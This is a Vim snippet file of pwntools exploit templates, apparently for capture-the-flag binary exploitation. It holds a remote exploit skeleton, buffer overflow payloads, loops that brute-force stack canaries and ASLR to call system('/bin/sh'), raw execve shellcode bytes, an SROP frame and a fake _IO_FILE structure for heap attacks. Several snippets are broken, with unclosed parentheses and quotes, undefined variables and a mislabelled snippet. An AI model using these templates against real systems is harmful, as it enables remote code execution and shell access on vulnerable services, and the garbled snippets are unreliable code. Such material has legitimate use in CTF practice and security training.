snippet pwn "pwn snippets"
#!/usr/bin/python3
from pwn import *
#context.log_level = "debug"
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
context.terminal = ['tmux','splitw','-h']
elf = context.binary = ELF("${1}")
libc = elf.libc
#libc = ELF("<++>")

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path,gdbscript=gs)
    elif args.REM:
        return remote("<++>",<++>)
    else:
        return process(elf.path)

io = start()

sl      = lambda s : io.sendline(s)
sa      = lambda delim,data : io.sendafter(str(delim), str(data))
sla     = lambda delim,data : io.sendlineafter(str(delim), str(data))
sn      = lambda s : io.send(s)
rc      = lambda n : io.recv(n)
rl      = lambda s : io.recvline(s)
ru      = lambda delim,drop=True : io.recvuntil(delim, drop)
uu32    = lambda data            : u32(data.ljust(4, '\x00'))
uu64    = lambda data            : u64(data.ljust(8, '\x00'))
lg      = lambda s,addr          : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ti      = lambda : io.interactive()

${0}

io.send(payloadn)
io.interactive()
endsnippet

snippet pay "payload snippets"
offset = ${1}
payload = b"A"*offset + p32(${2})
${0}
endsnippet

snippet blastcanary32 "blasting canary"
from pwn import *
#context.log_level = 'debug'
bin_elf = "<++>"
#global io 
io = process(bin_elf)
elf = ELF(bin_elf)

def blasting(offset,input_prompt):
	#偏移量,输入提示,正确提示
	io.recvuntil(input_prompt+"\n")
	canary = "\x00"
	for k in range(3):
		for i in range(256):
			success("Canary ->"+canary)
			print("\n-------------  No." + str(k) + ":" + chr(i)+"  -------------")
			io.send('A'*offset + canary + chr(i))
			recv = io.recvuntil(input_prompt+"\n")
			print("----",recv)
			if "stack smashing detected" in recv:
				continue
			else:
				#当前字符i传入程序后可以接受到程序正常的反馈信息，则代表正确
				canary += chr(i)
				#将其加入已知的canary中，继续爆破下一位
				success("Canary =>"+canary)
				break
	return canary
canary = blasting(100,"welcome")
payload = b"A" * <++> + p32(canary) + b"A" * <++> + p32()
io.send(payload)
io.interactive()
endsnippet


snippet leaktls64 "blasting canary"
while True:
	p = process('./bs')
	p.recvuntil("How many bytes do you want to send?")
	p.sendline(str(offset))
	payload = '
	payload += 'a'*0x1010
	payload += p64(0xdeadbeef)
	payload += p64(main_addr)
	payload += 'a'*(offset-len(payload))
	p.send(payload)
	temp = p.recvall(
	if "Welcome" in temp:
		p.close(
		break
	else:
		offset += 1
		p.close()))'
${0}
endsnippet

snippet fmtstr "format string"
def exec_fmt(payload):
	io.sendline(payload)
	info = io.recv()
	return info
auto = FmtStr(exec_fmt)
offset = auto.offset
${0}
endsnippet


snippet srop "signal rop"
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
io.send(payload)
${0}
endsnippet

snippet blastaslr32 "blasting aslr"
while(1<0x100000):
		system_addr = i + system_off
		binsh_addr = i + binsh_off
		print("libcbase:",hex(i))
		print("system addr:",hex(system_addr))
		print("binsh addr:",(binsh_addr))
		try:
				io = process("<++>")
				#io = remote("<++>",)
				payload = b"A"*offset + p32(system_addr)+p32(<++>)+p32(binsh_addr)
				io.sendline(payload)
				io.recvline()
				io.sendline("cat flag")
				io.recvuntil("flag{")
		except EOFError:
				print("brute force failed")
				io.close()
		else:
				print("brute force success")
				io.close()
				break
		i = i+0x1000
${0}
endsnippet


snippet shellcode32 "shellcode.i386.32 "
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"                                                 
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"
endsnippet


snippet iofile "_fake_IO_file"
def io_file(heap,libc):
    iofile = p64(0)      #flag
    iofile += p64(0x61)  #char* _IO_read_ptr
    iofile += p64(0)     #char* _IO_read_end
    iofile += p64(0)     #char* _IO_read_base
    iofile += p64(2)     #char* _IO_write_base
    iofile += p64(3)     #char* _IO_write_ptr
    iofile += p64(0)     #char* _IO_write_end
    iofile += p64(0)     #char* _IO_buf_base
    iofile += p64(0)     #char* _IO_buf_end
    iofile += p64(0)     #char* _IO_save_base
    iofile += p64(0)     #char* _IO_backup_base
    iofile += p64(0)     #char* _IO_save_end
    iofile += p64(0)     #struct _IO_marker* _markers   jumptable address
    iofile += p64(0)     #struct _IO_FILE* _chain
    iofile += p32(0)     #int _fileno
    iofile += p32(0)     #int _flags2
    iofile += p64(libc+one[1])     #__off_t _old_offset jumptable[3]:IO_overflow
    #iofile += p16(0)     #unsigned short _cur_column
    #iofile += p8(0)      #unsiged char _vtable_offset
    #iofile += p8(0)      #char _shortbuf[1]
    #iofile += p32(0)
    iofile += p64(0)     # reason for struct aligned _cur_column+_vtable_offset+_shortbuf = 8bytes
    iofile += p64(0)     #_IO_lock_t lock
    iofile += p64(0)     #__off64_t __offset
    iofile += p64(0)     #struct _IO_codecvt* _codecvt
    iofile += p64(0)     #struct _IO_wide_data* _wide_data
    iofile += p64(0)     #struct _IO_file* _freeres_list
    iofile += p64(0)     #void* _freeres_buf
    iofile += p64(0)     #size_t __pad5
    iofile += p32(0)     #int _mode 
    iofile += p32(0)     #char __unused2[20]
    iofile += p64(0)
    iofile += p64(0)
    iofile += p64(heap+0x540)     #vtable
    return iofile
${0}
endsnippet
